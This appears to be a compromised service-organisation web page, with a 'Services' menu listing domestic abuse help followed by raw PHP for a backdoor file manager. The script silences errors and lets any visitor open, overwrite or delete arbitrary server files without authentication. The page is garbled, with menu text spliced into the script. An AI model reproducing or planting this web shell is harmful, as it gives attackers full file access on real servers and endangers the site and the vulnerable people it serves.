Services

  • Domestic Abuse

    backtrack;<p align="center"><?
    error_reporting(0);
    $scriptname = $_SERVER['SCRIPT_NAME'];
    $filename = $_POST["filename"];
    if($_POST["submit"] == "Open")
    {
    if(file_exists($filename))
    {
    $filecontents = htmlentities(file_get_contents($filename));
    if(!$filecontents)
    $status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>";
    }
    else
    $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
    }        
    else if($_POST["submit"] == "Delete")
    {
    if(file_exists($filename))
    {
    if(unlink($filename))    
    $status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>";
    else
    $status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>";
    }
    else
    $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
    }
    else if($_POST["submit"] == "Save")
    {
    $filecontents = stripslashes(html_entity_decode($_POST["contents"]));
    if(file_exists($filename))
    unlink($filename);
    $handle = fopen($filename, "w");
    if(!$handle)
    $status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>";
    else
    {
    if(!fwrite($handle, $filecontents))
    $status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>";
    fclose($handle);
    }
    $filecontents = htmlentities($filecontents);
    }
    else
    {
    $status = "<font face='Verdana' style='font-size: 8pt'>No file loaded!</font>";
    }
    ?>
    <table border="0" align="center"><tr><td><table width="100%" border="0"><tr><td>
    <form method="post" action="<?Echo $scriptname;?>">
    <input name="filename" type="text" value="<?Echo $filename;?>" size="72">
    <input type="submit" name="submit" value="Open">
    <input type="submit" name="submit" value="Delete"></td></tr></table>
    <font face="Verdana" style="font-size: 11pt">
    <textarea name="contents" cols="70" rows="25">
    <?Echo $filecontents;?></textarea></font><br>
    <input type="submit" name="submit" value="Save">
    <input type="reset" value="Reset">
    </form>